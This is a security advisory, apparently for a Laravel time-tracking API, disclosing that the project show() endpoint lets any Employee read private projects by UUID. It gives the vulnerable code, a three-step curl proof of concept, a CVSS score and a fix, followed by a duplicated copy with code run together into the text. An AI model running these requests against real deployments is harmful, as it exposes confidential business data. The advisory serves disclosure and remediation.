Summary
The project detail endpoint GET /api/v1/organizations/{org}/projects/{project} allows any authenticated Employee to access any project in the organization by UUID, including private projects they are not a member of. The index() endpoint correctly applies the visibleByEmployee() scope, but show() does not.
Details
File: app/Http/Controllers/Api/V1/ProjectController.php
// index() — line 53: CORRECT — applies visibility scope for employees
if ($this->member($organization)->role === Role::Employee->value) {
$projectsQuery = $projectsQuery->visibleByEmployee($user);
}
// show() — lines 79-88: VULNERABLE — no visibility check
public function show(Organization $organization, Project $project): ProjectResource
{
$this->checkPermission($organization, 'projects:view');
// ← Missing: visibleByEmployee() check
return new ProjectResource($project, true);
}
The Employee role has the projects:view permission (defined in JetstreamServiceProvider.php line 268), which is sufficient to pass the checkPermission() call. The visibleByEmployee() scope that limits access to public projects or projects the employee is a member of is only applied in index(), not in show().
A code comment at line 83 states "employees can not access this endpoint", but this is incorrect — employees DO have the projects:view permission.
PoC
Step 1: As Owner, create a private project:
curl -X POST http://TARGET/api/v1/organizations/{ORG_ID}/projects \
-H "Authorization: Bearer {OWNER_TOKEN}" \
-H "Content-Type: application/json" \
-d '{"name":"CONFIDENTIAL - Board Restructuring","color":"#d32f2f","is_billable":true,"client_id":null,"is_public":false}'
# Note the project UUID from the response
Step 2: As Employee, list projects via index() — the private project does NOT appear:
curl -H "Authorization: Bearer {EMPLOYEE_TOKEN}" -H "Accept: application/json" \
"http://TARGET/api/v1/organizations/{ORG_ID}/projects"
# Private project is correctly hidden
Step 3: As Employee, access the private project by UUID via show():
curl -H "Authorization: Bearer {EMPLOYEE_TOKEN}" -H "Accept: application/json" \
"http://TARGET/api/v1/organizations/{ORG_ID}/projects/{PRIVATE_PROJECT_UUID}"
# HTTP 200 — full project metadata returned:
# {"data":{"name":"CONFIDENTIAL - Board Restructuring","is_public":false,...}}
The Employee can see the project name, configuration, billable rate, and all metadata despite the project being private and the employee not being a member.
Impact
- An Employee can access names and configuration of all projects in the organization, including confidential projects marked as private (
is_public=false)
- Project names often contain sensitive business information (client names, deal names, restructuring plans)
- Combined with S01, the employee can also see the project's
billable_rate if one is set
- Project UUIDs can be obtained from browser history, shared URLs, or network traffic
- CVSS 3.1: 6.5 (Medium) —
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- Suggested fix: Add
visibleByEmployee() check in show():
if ($this->member($organization)->role === Role::Employee->value) {
Project::query()->visibleByEmployee($this->user())->where('id', $project->id)->firstOrFail();
}
Summary
The project detail endpoint
GET /api/v1/organizations/{org}/projects/{project}allows any authenticated Employee to access any project in the organization by UUID, including private projects they are not a member of. Theindex()endpoint correctly applies thevisibleByEmployee()scope, butshow()does not.Details
File:
app/Http/Controllers/Api/V1/ProjectController.phpThe Employee role has the
projects:viewpermission (defined inJetstreamServiceProvider.phpline 268), which is sufficient to pass thecheckPermission()call. ThevisibleByEmployee()scope that limits access to public projects or projects the employee is a member of is only applied inindex(), not inshow().A code comment at line 83 states "employees can not access this endpoint", but this is incorrect — employees DO have the
projects:viewpermission.PoC
Step 1: As Owner, create a private project:
curl -X POST http://TARGET/api/v1/organizations/{ORG_ID}/projects \ -H "Authorization: Bearer {OWNER_TOKEN}" \ -H "Content-Type: application/json" \ -d '{"name":"CONFIDENTIAL - Board Restructuring","color":"#d32f2f","is_billable":true,"client_id":null,"is_public":false}' # Note the project UUID from the responseStep 2: As Employee, list projects via
index()— the private project does NOT appear:Step 3: As Employee, access the private project by UUID via
show():The Employee can see the project name, configuration, billable rate, and all metadata despite the project being private and the employee not being a member.
Impact
is_public=false)billable_rateif one is setCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NvisibleByEmployee()check inshow():